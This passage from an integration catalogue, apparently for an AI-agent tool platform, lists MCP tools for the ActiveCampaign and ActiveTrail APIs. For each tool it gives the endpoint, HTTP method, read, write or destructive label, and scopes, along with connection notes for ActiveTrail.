activecampaign_get_fieldvalues_by_id (read) — Retrieve a fieldvalues via GET /fieldValues/{id} GET /api/v1/activecampaign/fieldValues/{id}. Scopes: none. activecampaign_get_forms (read) — Forms via GET /forms GET /api/v1/activecampaign/forms. Scopes: none. activecampaign_get_forms_by_id (read) — Retrieve forms via GET /forms/{id} GET /api/v1/activecampaign/forms/{id}. Scopes: none. activecampaign_get_geoips_by_geoaddressid_geoaddress (read) — Retrieve a contacts geo ip address via GET /geoIps/{geoAddressID}/geoAddress GET /api/v1/activecampaign/geoIps/{geoAddressID}/geoAddress. Scopes: none. activecampaign_get_grouplimits (read) — List all group limits via GET /groupLimits GET /api/v1/activecampaign/groupLimits. Scopes: none. activecampaign_get_groupmembers (read) — Get all custom field groups via GET /groupMembers GET /api/v1/activecampaign/groupMembers. Scopes: none. activecampaign_get_groupmembers_by_groupid (read) — Get custom field to field group via GET /groupMembers/{groupID} GET /api/v1/activecampaign/groupMembers/{groupID}. Scopes: none. activecampaign_get_groups (read) — List all groups via GET /groups GET /api/v1/activecampaign/groups. Scopes: none. activecampaign_get_groups_by_id (read) — Retrieve a group via GET /groups/{id} GET /api/v1/activecampaign/groups/{id}. Scopes: none. activecampaign_get_import_bulk_import (read) — Bulk import status list via GET /import/bulk_import GET /api/v1/activecampaign/import/bulk_import. Scopes: none. activecampaign_get_import_info (read) — Bulk import status info via GET /import/info GET /api/v1/activecampaign/import/info. Scopes: none. activecampaign_get_lists (read) — Retrieve all lists via GET /lists GET /api/v1/activecampaign/lists. Scopes: none. activecampaign_get_lists_by_id (read) — Retrieve a list via GET /lists/{id} GET /api/v1/activecampaign/lists/{id}. Scopes: none. activecampaign_get_lists_exclusions (read) — Exclusions retrieve a list via GET /lists/exclusions GET /api/v1/activecampaign/lists/exclusions. Scopes: none. activecampaign_get_lists_exclusions_by_id (read) — Exclusions retrieve an exclusion via GET /lists/exclusions/{id} GET /api/v1/activecampaign/lists/exclusions/{id}. Scopes: none. activecampaign_get_message_source (read) — Retrieve a campaign message source via GET /message/source GET /api/v1/activecampaign/message/source. Scopes: none. activecampaign_get_messages (read) — List all messages via GET /messages GET /api/v1/activecampaign/messages. Scopes: none. activecampaign_get_messages_by_id (read) — Retrieve a message via GET /messages/{id} GET /api/v1/activecampaign/messages/{id}. Scopes: none. activecampaign_get_notes (read) — Retrieve list of all notes via GET /notes GET /api/v1/activecampaign/notes. Scopes: none. activecampaign_get_notes_by_id (read) — Retrieve a note via GET /notes/{id} GET /api/v1/activecampaign/notes/{id}. Scopes: none. activecampaign_get_personalizations (read) — List variables via GET /personalizations GET /api/v1/activecampaign/personalizations. Scopes: none. activecampaign_get_personalizations_by_variableid (read) — Retrieve variable via GET /personalizations/{variableID} GET /api/v1/activecampaign/personalizations/{variableID}. Scopes: none. activecampaign_get_prism_urlwhitelistings (read) — List all whitelisted domains via GET /prism/urlWhitelistings GET /api/v1/activecampaign/prism/urlWhitelistings. Scopes: none. activecampaign_get_records_by_schemdid_external_by_externalid (read) — Get a single record using external id via GET /records/{schemdId}/external/{externalId} GET /api/v1/activecampaign/records/{schemdId}/external/{externalId}. Scopes: none. activecampaign_get_savedresponses (read) — List all saved responses via GET /savedResponses GET /api/v1/activecampaign/savedResponses. Scopes: none. activecampaign_get_savedresponses_by_id (read) — Get a savedresponse via GET /savedResponses/{id} GET /api/v1/activecampaign/savedResponses/{id}. Scopes: none. activecampaign_get_scores (read) — List all scores via GET /scores GET /api/v1/activecampaign/scores. Scopes: none. activecampaign_get_scores_by_id (read) — Retrieve a score via GET /scores/{id} GET /api/v1/activecampaign/scores/{id}. Scopes: none. activecampaign_get_segments (read) — List all segments via GET /segments GET /api/v1/activecampaign/segments. Scopes: none. activecampaign_get_segments_by_id (read) — Retrieve a segment via GET /segments/{id} GET /api/v1/activecampaign/segments/{id}. Scopes: none. activecampaign_get_settings_account (read) — Retrieve account information via GET /settings/account GET /api/v1/activecampaign/settings/account. Scopes: none. activecampaign_get_settings_developer (read) — Retrieve api credentials via GET /settings/developer GET /api/v1/activecampaign/settings/developer. Scopes: none. activecampaign_get_sitetracking (read) — Retrieve site tracking status via GET /siteTracking GET /api/v1/activecampaign/siteTracking. Scopes: none. activecampaign_get_sitetracking_code (read) — Retrieve site tracking code via GET /siteTracking/code GET /api/v1/activecampaign/siteTracking/code. Scopes: none. activecampaign_get_sitetrackingdomains (read) — List all site tracking domains via GET /siteTrackingDomains GET /api/v1/activecampaign/siteTrackingDomains. Scopes: none. activecampaign_get_sms_broadcasts (read) — ListBroadcasts via GET /sms/broadcasts GET /api/v1/activecampaign/sms/broadcasts. Scopes: none. activecampaign_get_sms_broadcasts_ai_by_id (read) — GetAIBroadcastStatus via GET /sms/broadcasts/ai/{Id} GET /api/v1/activecampaign/sms/broadcasts/ai/{Id}. Scopes: none. activecampaign_get_sms_broadcasts_by_broadcastid_recipients (read) — GetBroadcastRecipients via GET /sms/broadcasts/{broadcastId}/recipients GET /api/v1/activecampaign/sms/broadcasts/{broadcastId}/recipients. Scopes: none. activecampaign_get_sms_broadcasts_by_id (read) — GetBroadcast via GET /sms/broadcasts/{id} GET /api/v1/activecampaign/sms/broadcasts/{id}. Scopes: none. activecampaign_get_sms_broadcasts_metrics_by_broadcastid_failures (read) — GetBroadcastFailures via GET /sms/broadcasts/metrics/{broadcastId}/failures GET /api/v1/activecampaign/sms/broadcasts/metrics/{broadcastId}/failures. Scopes: none. activecampaign_get_sms_broadcasts_metrics_snapshot (read) — GetBroadcastSnapshot via GET /sms/broadcasts/metrics/snapshot GET /api/v1/activecampaign/sms/broadcasts/metrics/snapshot. Scopes: none. activecampaign_get_sms_credits (read) — GetSmsCreditData via GET /sms/credits GET /api/v1/activecampaign/sms/credits. Scopes: none. activecampaign_get_sms_lists (read) — ListBroadcastLists via GET /sms/lists GET /api/v1/activecampaign/sms/lists. Scopes: none. activecampaign_get_stripo_config (read) — Stripo config via GET /stripo/config GET /api/v1/activecampaign/stripo/config. Scopes: none. activecampaign_get_stripo_personalizationtags (read) — Personalization tags via GET /stripo/personalizationTags GET /api/v1/activecampaign/stripo/personalizationTags. Scopes: none. activecampaign_get_tags (read) — Retrieve all tags via GET /tags GET /api/v1/activecampaign/tags. Scopes: none. activecampaign_get_tags_by_id (read) — Retrieve a tag via GET /tags/{id} GET /api/v1/activecampaign/tags/{id}. Scopes: none. activecampaign_get_taskoutcomes (read) — List all task outcomes via GET /taskOutcomes GET /api/v1/activecampaign/taskOutcomes. Scopes: none. activecampaign_get_taskoutcomes_by_id (read) — Retrieve a task outcome via GET /taskOutcomes/{id} GET /api/v1/activecampaign/taskOutcomes/{id}. Scopes: none. activecampaign_get_tasktypeoutcomerels (read) — List all task type outcome relations via GET /tasktypeOutcomeRels GET /api/v1/activecampaign/tasktypeOutcomeRels. Scopes: none. activecampaign_get_tasktypeoutcomerels_by_id (read) — Retrieve a task type outcome relation via GET /tasktypeOutcomeRels/{id} GET /api/v1/activecampaign/tasktypeOutcomeRels/{id}. Scopes: none. activecampaign_get_templates (read) — List all templates via GET /templates GET /api/v1/activecampaign/templates. Scopes: none. activecampaign_get_templates_by_id (read) — Retrieve a template via GET /templates/{id} GET /api/v1/activecampaign/templates/{id}. Scopes: none. activecampaign_get_trackinglogs_by_eventid_contact (read) — Get contact by event id via GET /trackingLogs/{eventId}/contact GET /api/v1/activecampaign/trackingLogs/{eventId}/contact. Scopes: none. activecampaign_get_users (read) — List all users via GET /users GET /api/v1/activecampaign/users. Scopes: none. activecampaign_get_users_by_id (read) — Get user via GET /users/{id} GET /api/v1/activecampaign/users/{id}. Scopes: none. activecampaign_get_users_email_by_email (read) — Get user email via GET /users/email/{email} GET /api/v1/activecampaign/users/email/{email}. Scopes: none. activecampaign_get_users_me (read) — Get user loggedin via GET /users/me GET /api/v1/activecampaign/users/me. Scopes: none. activecampaign_get_users_username_by_username (read) — Get user username via GET /users/username/{username} GET /api/v1/activecampaign/users/username/{username}. Scopes: none. activecampaign_get_webhook_events (read) — Get a list of webhook events via GET /webhook/events GET /api/v1/activecampaign/webhook/events. Scopes: none. activecampaign_get_webhooks (read) — Get a list of webhooks via GET /webhooks GET /api/v1/activecampaign/webhooks. Scopes: none. activecampaign_get_webhooks_by_id (read) — Get webhook via GET /webhooks/{id} GET /api/v1/activecampaign/webhooks/{id}. Scopes: none. activecampaign_patch_accountcustomfielddata_bulkupdate (write) — Bulk update a custom account field value via PATCH /accountCustomFieldData/bulkUpdate PATCH /api/v1/activecampaign/accountCustomFieldData/bulkUpdate. Scopes: none. activecampaign_patch_dealcustomfielddata_bulkupdate (write) — Bulk update a custom field value via PATCH /dealCustomFieldData/bulkUpdate PATCH /api/v1/activecampaign/dealCustomFieldData/bulkUpdate. Scopes: none. activecampaign_patch_deals_bulkupdate (write) — Bulk update deal owners via PATCH /deals/bulkUpdate PATCH /api/v1/activecampaign/deals/bulkUpdate. Scopes: none. activecampaign_patch_personalizations_by_variableid_lock (write) — Get {personalizationId}lock via PATCH /personalizations/{variableID}/lock PATCH /api/v1/activecampaign/personalizations/{variableID}/lock. Scopes: none. activecampaign_patch_personalizations_by_variableid_unlock (write) — Patch new endpoint via PATCH /personalizations/{variableID}/unlock PATCH /api/v1/activecampaign/personalizations/{variableID}/unlock. Scopes: none. activecampaign_post_accountcontacts (write) — Create an account via POST /accountContacts POST /api/v1/activecampaign/accountContacts. Scopes: none. activecampaign_post_accountcustomfielddata (write) — Create a custom field value via POST /accountCustomFieldData POST /api/v1/activecampaign/accountCustomFieldData. Scopes: none. activecampaign_post_accountcustomfielddata_bulkcreate (write) — Bulk create a custom account field value via POST /accountCustomFieldData/bulkCreate POST /api/v1/activecampaign/accountCustomFieldData/bulkCreate. Scopes: none. activecampaign_post_accountcustomfieldmeta (write) — Create a customfieldmeta via POST /accountCustomFieldMeta POST /api/v1/activecampaign/accountCustomFieldMeta. Scopes: none. activecampaign_post_accounts (write) — Create an account new via POST /accounts POST /api/v1/activecampaign/accounts. Scopes: none. activecampaign_post_accounts_by_id_notes (write) — Create an account note via POST /accounts/{id}/notes POST /api/v1/activecampaign/accounts/{id}/notes. Scopes: none. activecampaign_post_addresses (write) — Create an address via POST /addresses POST /api/v1/activecampaign/addresses. Scopes: none. activecampaign_post_calendars (write) — Create a calendar feed via POST /calendars POST /api/v1/activecampaign/calendars. Scopes: none. activecampaign_post_campaign (write) — Create campaign via POST /campaign POST /api/v1/activecampaign/campaign. Scopes: none. activecampaign_post_campaignmessages (write) — Create a campaign message via POST /campaignMessages POST /api/v1/activecampaign/campaignMessages. Scopes: none. activecampaign_post_campaigns_by_id_copy (write) — Duplicate campaign via POST /campaigns/{id}/copy POST /api/v1/activecampaign/campaigns/{id}/copy. Scopes: none. activecampaign_post_campaigns_test_preview (write) — Preview a campaign message via POST /campaigns/test-preview POST /api/v1/activecampaign/campaigns/test-preview. Scopes: none. activecampaign_post_campaigns_test_send (write) — Send a campaign test via POST /campaigns/test-send POST /api/v1/activecampaign/campaigns/test-send. Scopes: none. activecampaign_post_connections (write) — Create connection via POST /connections POST /api/v1/activecampaign/connections. Scopes: none. activecampaign_post_contact_bulksync (write) — Bulk sync contacts via POST /contact/bulkSync POST /api/v1/activecampaign/contact/bulkSync. Scopes: none. activecampaign_post_contact_merge (write) — Merge contacts via POST /contact/merge POST /api/v1/activecampaign/contact/merge. Scopes: none. activecampaign_post_contact_sync (write) — Sync a contacts data via POST /contact/sync POST /api/v1/activecampaign/contact/sync. Scopes: none. activecampaign_post_contactautomations (write) — Create new contactautomation via POST /contactAutomations POST /api/v1/activecampaign/contactAutomations. Scopes: none. activecampaign_post_contactdeals (write) — Create a secondary contact via POST /contactDeals POST /api/v1/activecampaign/contactDeals. Scopes: none. activecampaign_post_contactlists (write) — Update list status for contact via POST /contactLists POST /api/v1/activecampaign/contactLists. Scopes: none. activecampaign_post_contacts (write) — Create a new contact via POST /contacts POST /api/v1/activecampaign/contacts. Scopes: none. activecampaign_post_contacttags (write) — Create contact tag via POST /contactTags POST /api/v1/activecampaign/contactTags. Scopes: none. activecampaign_post_customobjects_records_by_schemaid (write) — Create or update record via POST /customObjects/records/{schemaId} POST /api/v1/activecampaign/customObjects/records/{schemaId}. Scopes: none. activecampaign_post_customobjects_schemas (write) — Create a schema via POST /customObjects/schemas POST /api/v1/activecampaign/customObjects/schemas. Scopes: none. activecampaign_post_customobjects_schemas_by_id_child (write) — Create a child schema via POST /customObjects/schemas/{id}/child POST /api/v1/activecampaign/customObjects/schemas/{id}/child. Scopes: none. activecampaign_post_customobjects_schemas_public (write) — Create a public schema via POST /customObjects/schemas/public POST /api/v1/activecampaign/customObjects/schemas/public. Scopes: none. activecampaign_post_dealcustomfielddata (write) — Create custom deal field value via POST /dealCustomFieldData POST /api/v1/activecampaign/dealCustomFieldData. Scopes: none. activecampaign_post_dealcustomfielddata_bulkcreate (write) — Bulk create a custom deal field value via POST /dealCustomFieldData/bulkCreate POST /api/v1/activecampaign/dealCustomFieldData/bulkCreate. Scopes: none. activecampaign_post_dealcustomfieldmeta (write) — Create custom deal field meta via POST /dealCustomFieldMeta POST /api/v1/activecampaign/dealCustomFieldMeta. Scopes: none. activecampaign_post_dealgroups (write) — Create a pipeline via POST /dealGroups POST /api/v1/activecampaign/dealGroups. Scopes: none. activecampaign_post_dealroles (write) — Create a deal role via POST /dealRoles POST /api/v1/activecampaign/dealRoles. Scopes: none. activecampaign_post_deals (write) — Create a deal new via POST /deals POST /api/v1/activecampaign/deals. Scopes: none. activecampaign_post_deals_by_id_notes (write) — Create a deal note via POST /deals/{id}/notes POST /api/v1/activecampaign/deals/{id}/notes. Scopes: none. activecampaign_post_dealstages (write) — Create a deal stage via POST /dealStages POST /api/v1/activecampaign/dealStages. Scopes: none. activecampaign_post_dealtasks (write) — Create task via POST /dealTasks POST /api/v1/activecampaign/dealTasks. Scopes: none. activecampaign_post_dealtasktypes (write) — Create a deal task type via POST /dealTasktypes POST /api/v1/activecampaign/dealTasktypes. Scopes: none. activecampaign_post_ecomcustomers (write) — Create customer via POST /ecomCustomers POST /api/v1/activecampaign/ecomCustomers. Scopes: none. activecampaign_post_ecomorders (write) — Create order via POST /ecomOrders POST /api/v1/activecampaign/ecomOrders. Scopes: none. activecampaign_post_eventtrackingevents (write) — Create a new event name only via POST /eventTrackingEvents POST /api/v1/activecampaign/eventTrackingEvents. Scopes: none. activecampaign_post_fieldoption_bulk (write) — Create custom field options via POST /fieldOption/bulk POST /api/v1/activecampaign/fieldOption/bulk. Scopes: none. activecampaign_post_fieldrels (write) — Create a custom field relationship to lists via POST /fieldRels POST /api/v1/activecampaign/fieldRels. Scopes: none. activecampaign_post_fields (write) — Create a contact custom field via POST /fields POST /api/v1/activecampaign/fields. Scopes: none. activecampaign_post_fieldvalues (write) — Create fieldvalue via POST /fieldValues POST /api/v1/activecampaign/fieldValues. Scopes: none. activecampaign_post_form_optin (write) — Post formoptin via POST /form/optin POST /api/v1/activecampaign/form/optin. Scopes: none. activecampaign_post_forms (write) — Post forms via POST /forms POST /api/v1/activecampaign/forms. Scopes: none. activecampaign_post_groupdefinitions (write) — Create a custom field group via POST /groupDefinitions POST /api/v1/activecampaign/groupDefinitions. Scopes: none. activecampaign_post_groupmembers (write) — Add custom field to field group via POST /groupMembers POST /api/v1/activecampaign/groupMembers. Scopes: none. activecampaign_post_groups (write) — Create a new group via POST /groups POST /api/v1/activecampaign/groups. Scopes: none. activecampaign_post_import_bulk_import (write) — Bulk import contacts via POST /import/bulk_import POST /api/v1/activecampaign/import/bulk_import. Scopes: none. activecampaign_post_listgroups (write) — Create a list group permission via POST /listGroups POST /api/v1/activecampaign/listGroups. Scopes: none. activecampaign_post_lists (write) — Create new list via POST /lists POST /api/v1/activecampaign/lists. Scopes: none. activecampaign_post_localevent (write) — Local events via POST /localevent POST /api/v1/activecampaign/localevent. Scopes: none. activecampaign_post_messages (write) — Create a new message via POST /messages POST /api/v1/activecampaign/messages. Scopes: none. activecampaign_post_notes (write) — Create a note via POST /notes POST /api/v1/activecampaign/notes. Scopes: none. activecampaign_post_personalizations (write) — Create variable via POST /personalizations POST /api/v1/activecampaign/personalizations. Scopes: none. activecampaign_post_prism_urlwhitelistings (write) — Add domain to whitelist via POST /prism/urlWhitelistings POST /api/v1/activecampaign/prism/urlWhitelistings. Scopes: none. activecampaign_post_savedresponses (write) — Saved responses via POST /savedResponses POST /api/v1/activecampaign/savedResponses. Scopes: none. activecampaign_post_settings_account (write) — Update account settings via POST /settings/account POST /api/v1/activecampaign/settings/account. Scopes: none. activecampaign_post_settings_developer (write) — Reset an api key via POST /settings/developer POST /api/v1/activecampaign/settings/developer. Scopes: none. activecampaign_post_sitetrackingdomains (write) — Add a site tracking domain via POST /siteTrackingDomains POST /api/v1/activecampaign/siteTrackingDomains. Scopes: none. activecampaign_post_sms_broadcasts (write) — CreateBroadcast via POST /sms/broadcasts POST /api/v1/activecampaign/sms/broadcasts. Scopes: none. activecampaign_post_sms_broadcasts_ai (write) — CreateAIBroadcast via POST /sms/broadcasts/ai POST /api/v1/activecampaign/sms/broadcasts/ai. Scopes: none. activecampaign_post_sms_broadcasts_by_broadcastid_recipients_export (write) — ExportBroadcastRecipients via POST /sms/broadcasts/{broadcastId}/recipients/export POST /api/v1/activecampaign/sms/broadcasts/{broadcastId}/recipients/export. Scopes: none. activecampaign_post_sms_broadcasts_export (write) — ExportBroadcastMetrics via POST /sms/broadcasts/export POST /api/v1/activecampaign/sms/broadcasts/export. Scopes: none. activecampaign_post_sms_broadcasts_metrics (write) — GetBroadcastMetrics via POST /sms/broadcasts/metrics POST /api/v1/activecampaign/sms/broadcasts/metrics. Scopes: none. activecampaign_post_sms_broadcasts_metrics_snapshot (write) — GetBroadcastSnapshotByIds via POST /sms/broadcasts/metrics/snapshot POST /api/v1/activecampaign/sms/broadcasts/metrics/snapshot. Scopes: none. activecampaign_post_tags (write) — Create a new tag via POST /tags POST /api/v1/activecampaign/tags. Scopes: none. activecampaign_post_tasknotifications (write) — Create a task reminder via POST /taskNotifications POST /api/v1/activecampaign/taskNotifications. Scopes: none. activecampaign_post_taskoutcomes (write) — Create a task outcome via POST /taskOutcomes POST /api/v1/activecampaign/taskOutcomes. Scopes: none. activecampaign_post_tasktypeoutcomerels (write) — Create a task outcome via POST /tasktypeOutcomeRels POST /api/v1/activecampaign/tasktypeOutcomeRels. Scopes: none. activecampaign_post_templates (write) — Create a template via POST /templates POST /api/v1/activecampaign/templates. Scopes: none. activecampaign_post_users (write) — Create user via POST /users POST /api/v1/activecampaign/users. Scopes: none. activecampaign_post_users_by_id_singlesignon (write) — Create a single sign on token via POST /users/{id}/singleSignOn POST /api/v1/activecampaign/users/{id}/singleSignOn. Scopes: none. activecampaign_post_webhooks (write) — Create webhook via POST /webhooks POST /api/v1/activecampaign/webhooks. Scopes: none. activecampaign_put_accountcontacts_by_id (write) — Update an association via PUT /accountContacts/{id} PUT /api/v1/activecampaign/accountContacts/{id}. Scopes: none. activecampaign_put_accountcustomfielddata_by_id (write) — Update a custom field value via PUT /accountCustomFieldData/{id} PUT /api/v1/activecampaign/accountCustomFieldData/{id}. Scopes: none. activecampaign_put_accountcustomfieldmeta_by_id (write) — Update a custom field via PUT /accountCustomFieldMeta/{id} PUT /api/v1/activecampaign/accountCustomFieldMeta/{id}. Scopes: none. activecampaign_put_accounts_by_id (write) — Update an account new via PUT /accounts/{id} PUT /api/v1/activecampaign/accounts/{id}. Scopes: none. activecampaign_put_accounts_by_id_notes_by_noteid (write) — Update a account note via PUT /accounts/{id}/notes/{noteid} PUT /api/v1/activecampaign/accounts/{id}/notes/{noteid}. Scopes: none. activecampaign_put_addresses_by_id (write) — Update an address via PUT /addresses/{id} PUT /api/v1/activecampaign/addresses/{id}. Scopes: none. activecampaign_put_brandings_by_id (write) — Update branding via PUT /brandings/{id} PUT /api/v1/activecampaign/brandings/{id}. Scopes: none. activecampaign_put_calendars_by_id (write) — Update a calendar feed via PUT /calendars/{id} PUT /api/v1/activecampaign/calendars/{id}. Scopes: none. activecampaign_put_campaignmessages_by_id (write) — Update a campaign message via PUT /campaignMessages/{id} PUT /api/v1/activecampaign/campaignMessages/{id}. Scopes: none. activecampaign_put_campaigns_by_campaignid_enable (write) — Schedule a campaign via PUT /campaigns/{campaignId}/enable PUT /api/v1/activecampaign/campaigns/{campaignId}/enable. Scopes: none. activecampaign_put_campaigns_by_campaignid_pause (write) — Pause a campaign via PUT /campaigns/{campaignId}/pause PUT /api/v1/activecampaign/campaigns/{campaignId}/pause. Scopes: none. activecampaign_put_campaigns_by_campaignid_resume (write) — Resume a campaign via PUT /campaigns/{campaignId}/resume PUT /api/v1/activecampaign/campaigns/{campaignId}/resume. Scopes: none. activecampaign_put_campaigns_by_campaignid_stop (write) — Stop a campaign via PUT /campaigns/{campaignId}/stop PUT /api/v1/activecampaign/campaigns/{campaignId}/stop. Scopes: none. activecampaign_put_campaigns_by_id_edit (write) — Edit campaign via PUT /campaigns/{id}/edit PUT /api/v1/activecampaign/campaigns/{id}/edit. Scopes: none. activecampaign_put_configs_by_id (write) — Set config via PUT /configs/{id} PUT /api/v1/activecampaign/configs/{id}. Scopes: none. activecampaign_put_connections_by_id (write) — Update connection via PUT /connections/{id} PUT /api/v1/activecampaign/connections/{id}. Scopes: none. activecampaign_put_contactdeals_by_id (write) — Update a secondary contact via PUT /contactDeals/{id} PUT /api/v1/activecampaign/contactDeals/{id}. Scopes: none. activecampaign_put_contacts_by_id (write) — Update a contact new via PUT /contacts/{id} PUT /api/v1/activecampaign/contacts/{id}. Scopes: none. activecampaign_put_customobjects_schemas_by_schemaid (write) — Update a schema via PUT /customObjects/schemas/{schemaId} PUT /api/v1/activecampaign/customObjects/schemas/{schemaId}. Scopes: none. activecampaign_put_dealcustomfielddata_by_id (write) — Update a custom deal field value via PUT /dealCustomFieldData/{id} PUT /api/v1/activecampaign/dealCustomFieldData/{id}. Scopes: none. activecampaign_put_dealcustomfieldmeta_by_id (write) — Update a custom deal field meta via PUT /dealCustomFieldMeta/{id} PUT /api/v1/activecampaign/dealCustomFieldMeta/{id}. Scopes: none. activecampaign_put_dealgroups_by_id (write) — Update a pipeline via PUT /dealGroups/{id} PUT /api/v1/activecampaign/dealGroups/{id}. Scopes: none. activecampaign_put_deals_by_id (write) — Update a deal new via PUT /deals/{id} PUT /api/v1/activecampaign/deals/{id}. Scopes: none. activecampaign_put_deals_by_id_notes_by_noteid (write) — Update a deal note via PUT /deals/{id}/notes/{noteId} PUT /api/v1/activecampaign/deals/{id}/notes/{noteId}. Scopes: none. activecampaign_put_dealstages_by_id (write) — Update a deal stage via PUT /dealStages/{id} PUT /api/v1/activecampaign/dealStages/{id}. Scopes: none. activecampaign_put_dealstages_by_id_deals (write) — Move deals to another deal stage via PUT /dealStages/{id}/deals PUT /api/v1/activecampaign/dealStages/{id}/deals. Scopes: none. activecampaign_put_dealtasks_by_id (write) — Update task via PUT /dealTasks/{id} PUT /api/v1/activecampaign/dealTasks/{id}. Scopes: none. activecampaign_put_dealtasktypes_by_id (write) — Update a deal task type via PUT /dealTasktypes/{id} PUT /api/v1/activecampaign/dealTasktypes/{id}. Scopes: none. activecampaign_put_dealtasktypes_by_id_dealtasks (write) — Move deal tasks to another deal task type via PUT /dealTasktypes/{id}/dealTasks PUT /api/v1/activecampaign/dealTasktypes/{id}/dealTasks. Scopes: none. activecampaign_put_ecomcustomers_by_id (write) — Update customer via PUT /ecomCustomers/{id} PUT /api/v1/activecampaign/ecomCustomers/{id}. Scopes: none. activecampaign_put_ecomorders_by_id (write) — Update order via PUT /ecomOrders/{id} PUT /api/v1/activecampaign/ecomOrders/{id}. Scopes: none. activecampaign_put_eventtracking (write) — Enable disable event tracking via PUT /eventTracking PUT /api/v1/activecampaign/eventTracking. Scopes: none. activecampaign_put_fields_by_id (write) — Update a field via PUT /fields/{id} PUT /api/v1/activecampaign/fields/{id}. Scopes: none. activecampaign_put_fieldvalues_by_id (write) — Update a custom field value for contact via PUT /fieldValues/{id} PUT /api/v1/activecampaign/fieldValues/{id}. Scopes: none. activecampaign_put_forms_by_id (write) — Put forms{id} via PUT /forms/{id} PUT /api/v1/activecampaign/forms/{id}. Scopes: none. activecampaign_put_groupmembers_by_groupid (write) — Update custom field field group via PUT /groupMembers/{groupId} PUT /api/v1/activecampaign/groupMembers/{groupId}. Scopes: none. activecampaign_put_groups_by_id (write) — Update a group via PUT /groups/{id} PUT /api/v1/activecampaign/groups/{id}. Scopes: none. activecampaign_put_lists_by_id (write) — Update a list via PUT /lists/{id} PUT /api/v1/activecampaign/lists/{id}. Scopes: none. activecampaign_put_lists_exclusions_by_id (write) — Update an exclusion via PUT /lists/exclusions/{id} PUT /api/v1/activecampaign/lists/exclusions/{id}. Scopes: none. activecampaign_put_messages_by_id (write) — Update a message via PUT /messages/{id} PUT /api/v1/activecampaign/messages/{id}. Scopes: none. activecampaign_put_notes_by_id (write) — Update a note via PUT /notes/{id} PUT /api/v1/activecampaign/notes/{id}. Scopes: none. activecampaign_put_personalizations_by_variableid (write) — Edit variable via PUT /personalizations/{variableID} PUT /api/v1/activecampaign/personalizations/{variableID}. Scopes: none. activecampaign_put_savedresponses_by_id (write) — Update a saved response via PUT /savedResponses/{id} PUT /api/v1/activecampaign/savedResponses/{id}. Scopes: none. activecampaign_put_sitetracking (write) — Enable disable site tracking via PUT /siteTracking PUT /api/v1/activecampaign/siteTracking. Scopes: none. activecampaign_put_sms_broadcasts_ai (write) — UpdateAIBroadcast via PUT /sms/broadcasts/ai PUT /api/v1/activecampaign/sms/broadcasts/ai. Scopes: none. activecampaign_put_sms_broadcasts_by_id (write) — UpdateBroadcast via PUT /sms/broadcasts/{id} PUT /api/v1/activecampaign/sms/broadcasts/{id}. Scopes: none. activecampaign_put_tags_by_id (write) — Update a tag via PUT /tags/{id} PUT /api/v1/activecampaign/tags/{id}. Scopes: none. activecampaign_put_taskoutccomes_by_id (write) — Update a task outcome via PUT /taskOutccomes/{id} PUT /api/v1/activecampaign/taskOutccomes/{id}. Scopes: none. activecampaign_put_tasktypeoutcomerels_by_id (write) — Update a task outcome via PUT /tasktypeOutcomeRels/{id} PUT /api/v1/activecampaign/tasktypeOutcomeRels/{id}. Scopes: none. activecampaign_put_templates_by_id (write) — Update a template via PUT /templates/{id} PUT /api/v1/activecampaign/templates/{id}. Scopes: none. activecampaign_put_users_by_id (write) — Update user via PUT /users/{id} PUT /api/v1/activecampaign/users/{id}. Scopes: none. activecampaign_put_webhooks_by_id (write) — Update webhook via PUT /webhooks/{id} PUT /api/v1/activecampaign/webhooks/{id}. Scopes: none. ================================================================================ ## ActiveTrail URL: https://www.agenticfabriq.com/integrations/activetrail Section: Integrated Tools ActiveTrail — 230 MCP tools Provider key: activetrail. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. activetrail_delete_api_account_contentcategories_by_id (write, destructive) — Delete a specific category by providing its' ID. via DELETE /api/account/contentCategories/{id} DELETE /api/v1/activetrail/api/account/contentCategories/{id}. Scopes: api. activetrail_delete_api_automations_by_ids (write, destructive) — Delete the given automation. You can delete a few in a bulk if the IDs are seperated with a comma (',') via DELETE /api/automations/{ids} DELETE /api/v1/activetrail/api/automations/{ids}. Scopes: api. activetrail_delete_api_campaigns_by_id (write, destructive) — Delete campaign via DELETE /api/campaigns/{id} DELETE /api/v1/activetrail/api/campaigns/{id}. Scopes: api. activetrail_delete_api_contacts_by_id (write, destructive) — Delete the given Contact via DELETE /api/contacts/{id} DELETE /api/v1/activetrail/api/contacts/{id}. Scopes: api. activetrail_delete_api_contacts_merges_by_id (write, destructive) — Delete a merge conflict via DELETE /api/contacts/merges/{id} DELETE /api/v1/activetrail/api/contacts/merges/{id}. Scopes: api. activetrail_delete_api_external_contact_by_externalid (write, destructive) — Delete the given contact by providing external id and external name. If one doesnt match the other or doesn't exist we'll get an error via DELETE /api/external/contact/{externalId} DELETE /api/v1/activetrail/api/external/contact/{externalId}. Scopes: api. activetrail_delete_api_external_group_by_groupid (write, destructive) — Delete contacts from group with the given external id and external name via DELETE /api/external/group/{groupId} DELETE /api/v1/activetrail/api/external/group/{groupId}. Scopes: api. activetrail_delete_api_external_mailinglist_by_mailinglistid (write, destructive) — Delete contacts from mailing list with the given external id and external name via DELETE /api/external/mailinglist/{mailinglistId} DELETE /api/v1/activetrail/api/external/mailinglist/{mailinglistId}. Scopes: api. activetrail_delete_api_external_unmap_by_externalid (write, destructive) — Unmap contact's external id and name based on the provided details. If one doesnt match the other or doesn't exist you'll get an error via DELETE /api/external/unmap/{externalId} DELETE /api/v1/activetrail/api/external/unmap/{externalId}. Scopes: api. activetrail_delete_api_groups_by_id (write, destructive) — Delete a given group via DELETE /api/groups/{id} DELETE /api/v1/activetrail/api/groups/{id}. Scopes: api. activetrail_delete_api_groups_by_id_members_by_memberid (write, destructive) — Remove member from a group via DELETE /api/groups/{id}/members/{memberId} DELETE /api/v1/activetrail/api/groups/{id}/members/{memberId}. Scopes: api. activetrail_delete_api_mailinglist_by_id (write, destructive) — Delete MailingList via DELETE /api/mailinglist/{id} DELETE /api/v1/activetrail/api/mailinglist/{id}. Scopes: api. activetrail_delete_api_mailinglist_by_id_members_by_memberid (write, destructive) — Remove member from mailing list via DELETE /api/mailinglist/{id}/members/{memberId} DELETE 